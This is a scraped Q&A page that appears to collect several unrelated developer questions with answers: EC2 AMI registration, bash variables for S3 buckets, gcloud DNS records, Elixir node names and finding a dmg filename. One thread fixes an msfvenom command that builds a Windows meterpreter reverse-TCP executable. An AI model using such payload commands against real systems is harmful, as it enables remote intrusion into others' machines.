Error in registering EC2 Instance-backed store - amazon-ec2

In trying to register an ami on Amazon EC2 with the following command:
ec2-register -n my-ami-prefix --cert /mnt/cert-aaa.pem --private-key /mnt/pk-bbb.pem mys3bucke/my-ami-prefix.manifest.xml
I get the following error:
Client.InvalidManifest: Invalid block device mapping: Invalid virtual name 'ebs5'
The mappings generated in the manifest are as follows:
<mapping><virtual>ami</virtual><device>sda1</device></mapping>
<mapping><virtual>ebs1</virtual><device>/dev/sdh</device></mapping>
<mapping><virtual>ebs5</virtual><device>/dev/sdi</device></mapping>
<mapping><virtual>ephemeral0</virtual><device>sdb</device></mapping>
<mapping><virtual>ephemeral1</virtual><device>sdc</device></mapping>
<mapping><virtual>ephemeral2</virtual><device>sdd</device></mapping>
<mapping><virtual>ephemeral3</virtual><device>sde</device></mapping>
<mapping><virtual>root</virtual><device>/dev/sda1</device></mapping>
According to the help text of the ec2-bundle-vol, the following are valid mapping names;
"ami": denotes the root file system device, as seen by the instance.
"root": denotes the root file system device, as seen by the kernel.
"swap": denotes the swap device, if present.
"ephemeralN": denotes Nth ephemeral store; N is a non-negative integer.
So, why is it creating "ebs" names for some of the mappings? Why is it giving these two devices the "ebs" name instead of the "ephemeral" name like the rest? When I run an "fdisk -l" all the device except the last have the same size. Can I go into the manifest and rename them to "ephemeral14" and "ephemeral15"?

I added this to the bundle command, and at least it registered the AMI:
-B ami=sda1,root=/dev/sda1,ephemeral0=sdb,ephemeral1=sdc,ephemeral2=sdd,ephemeral3=sde,ephemeral4=sdh,ephemeral5=sdi

Related

How can I assign the raw Name of an S3 bucket to a variable and then use that variable

I'm trying to create a an S3 bucket and then use that bucket in another AWS service:
I'm doing this way:
I have a variable named $AccountAlias which I'll use that to make my buckets unique, so I'm running this:
bucketName=$(aws s3 mb s3://mytestbkt-${AccountAlias})
The bucket is created successfully, but I'm expecting that $bucketName will store the Name of the bucket, then use that variable to another service that expects the Bucket Name:
aws shield associate-drt-log-bucket --log-bucket $bucketName
After running this command I get the error:
make_bucket:: command not found
aws: error: argument --log-bucket: expected one argument
And It makes sense, because if I run echo $bucketName I get: make_bucket: mytestbkt-testacc123
So, How can I assign just the value of the bucket name to my variable to use that in another CLI command?
Create a variable for the bucket name initially and then use it in both places:
#!/bin/bash
bucketName="mytestbkt-$AccountAlias"
aws s3 mb "s3://$bucketName"
aws shield associate-drt-log-bucket --log-bucket "$bucketName"

gcloud cli failing to add record when contents start with dash

I'm working with the LetsEncrypt dns-01 challenge system which entails dynamically creating a TXT record in Google Cloud DNS with specific content, so LE can assert proof of ownership for generating a wildcard certificate (so I can't use http-01). The problem is sometimes LE tells me to create a TXT record that starts with a "-", for example -E_DFDFHJKF1783FSHDJ. I cannot get the gcloud cli to properly accept this data no matter what I do.
Example:
gcloud dns record-sets transaction start --zone=myzone
gcloud dns record-sets transaction add "-E_ASDFSDF" --ttl=30 --zone=myzone --name=test --type=TXT
gcloud dns record-sets transaction remove "-A_DSFKHSDF" --ttl=30 --zone=myzone --name=test2 --type=TXT
If you run those commands and inspect the resulting transaction.yaml you can see whether it properly contains the right string. If it did it correct, you should see something like:
- kind: dns#resourceRecordSet
name: test.
rrdatas:
- '"ASDFASDF"'
ttl: 30
type: TXT
I am executing this via Node's child_process, but I have the issue even if I execute it directly from bash, so Node isn't really meaningful issue at the moment. I've tried echoing the value in. I've tried setting an environment variable and using that in the string.
No matter what I do I get an error like the following:
ERROR: (gcloud.dns.record-sets.transaction.add) unrecognized arguments: -E_ASDFSDF
It turns out some characters need to be escaped in the CLI. I can confirm that the following works:
gcloud dns --project=myprojectid record-sets transaction add "\-test123" --name=test.mydomain.com. --ttl=300 --type=TXT --zone=myzoneid

Msfvenom does not produce required payload

I am trying to create a windows payload with msfvenom but it is not working properly:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=4444 -f exe payload.exe
here is the error that I am getting
CommandLineToArgvWapr_initialize0123456789.0.0.0.0bogus %pI64dNo host data of that type was foundHost not foundGraceful shutdown in progressWSAStartup not yet calledWinsock version out of rangeNetwork system is unavailableToo many levels of remote in pathStale NFS file handleDisc quota exceededToo many usersToo many processesDirectory not emptyNo route to hostHost is downFile name too longToo many levels of symbolic linksConnection refusedConnection timed outToo many references, can't spliceCan't send after socket shutdownSocket is not connectedSocket is already connectedNo buffer space availableConnection reset by peerSoftware caused connection abortNet connection resetNetwork is unreachableNetwork is downCan't assign requested addressAddress already in useAddress family not supportedProtocol family not supportedOperation not supported on socketSocket type not supportedProtocol not supportedBad protocol optionProtocol wrong type for socketMessage too longDestination address requiredSocket operation on non-socketOperation already in progressOperation now in progressOperation would blockToo many open socketsInvalid argumentBad addressPermission deniedBad file numberInterrupted system callAPR does not understand this error codeError string not specified yetpasswords do not matchThis function has not been implemented on this platformThere is no error, this value signifies an initialized error codeShared memory is implemented using a key systemShared memory is implemented using filesShared memory is implemented anonymouslyCould not find specified socket in poll list.End of file foundMissing parameter for the specified command line optionBad character specified on command linePartial results are valid but processing is incompleteThe timeout specified has expiredThe specified child process is not done executingThe specified child process is done executingThe specified thread is not detachedThe specified thread is detachedYour code just forked, and you are currently executing in the parent processYour code just forked, and you are currently executing in the child processInternal errorThe process is not recognized.The given path contained wildcard charactersThe given path is misformatted or contained invalid charactersThe given path was above the root pathThe given path is incompleteThe given path is relativeThe given path is absoluteThe specified network mask is invalid.The specified IP address is invalid.DSO load failedNo shared memory is currently availableNo thread key structure was provided and one was required.No thread was provided and one was required.No socket was provided and one was required.No poll structure was provided and one was required.No lock was provided and one was required.No directory was provided and one was required.No time was provided and one was required.No process was provided and one was required.An invalid socket was returnedAn invalid date has been providedA new pool could not be created.Unrecognized Win32 error code %d\\?\UNC\\\?\CancelIoGetCompressedFileSizeAGetCompressedFileSizeWZwQueryInformationFileGe tSecurityInfoGetNamedSecurityInfoAGetNamedSecurityInfoWUNC \GetEffectiveRightsFromAclW��������ntdll.dllshell32ws2_32mswsockadvapi32kernel32▒�0� H`Phh4VS_VERSION_INFO���?�StringFileInfo�040904b00
I think its because you didn't specify the output argument. Try using the "-o" or the ">" argument.
Eg.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe > out.exe
OR
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe -o out.exe

how to use aws public ips with elixir

Have 2 iex shells running on different servers in EC2 but when I try to connect from one to the other I get this error:
Node.connect :them#ip-172-30-<--snip-->
** (ArithmeticError) bad argument in arithmetic expression
:erlang
It looks like elixir doesn't like that the hostname has dashes in it. How can I change the hostname without breaking the routing between the EC2 instances?
Thanks!
The error was caused by atom literal can not contain dash.
You can try :a-b-c and :"a-b-c" in iex.
So you should use Node.connect :"them#ip-172-30-<--snip-->".
Besides, you can use --name NAME instead of --sname NAME to name a node.
sname option makes and assigns a short name with your hostname.
You can name the node with --name like iex --name "them#thisismyhost.

Get filename of executing dmg package

Is there a way to get the name of the dmg package an app is started/installed from?
Your question is quite unclear, since I can not figure out what name you want to get. But in any way, the answer will be the same: No, there is no direct way.
Name of the .dmg-file
The name of the .dmg-file is impossible to find out, since the file is mounted as a volume. Usually the mount-point (/Volumes/xxxx) has the name of the .dmg-file, but if the mount-point already exists, the name is extended with a number.
It is possible, that the .dmg-file had a number in the end; so you can not simply drop the number in the end, cause you do not know if it was extended due to the fact, that the mount-point was already in use, or the fact, that the name had a trailing number.
Name of the installer package
Where do you need to find out the name of the installer package? In a Pre- or Postflight-Script? There is not really a simple way to find out the name of the installer-package, but there might be some workarounds to reach the target you want.
UPDATE / Solution:
I found a way, to find out the name of a mounted dmg-file: Run the following command on terminal (can be also done by a script, so that the result can be used within a program):
hdiutil info
The result will look something like this:
================================================
image-path : /Users/username/Downloads/yourDMGFile-v2.0b10.dmg
image-alias : /Users/username/Downloads/yourDMGFile-v2.0b10.dmg
shadow-path : <none>
icon-path : /System/Library/PrivateFrameworks/DiskImages.framework/Resources/CDiskImage.icns
image-type : UDIF, read only, compressed (zlib)
system-image : false
blockcount : 80040
blocksize : 512
writeable : false
autodiskmount : TRUE
removable : TRUE
image-encrypted : false
mounting user : username
mounting mode : <unknown>
process ID : 17177
/dev/disk5 GUID_partition_scheme
/dev/disk5s1 48664310-0200-11FC-ACX1-00360534ACDC /Volumes/yourDMGFile v2.0b10
Here the name of the dmg-file is printed out, as well as the name of the mount-point and further informations about the .dmg-file as well.

Resources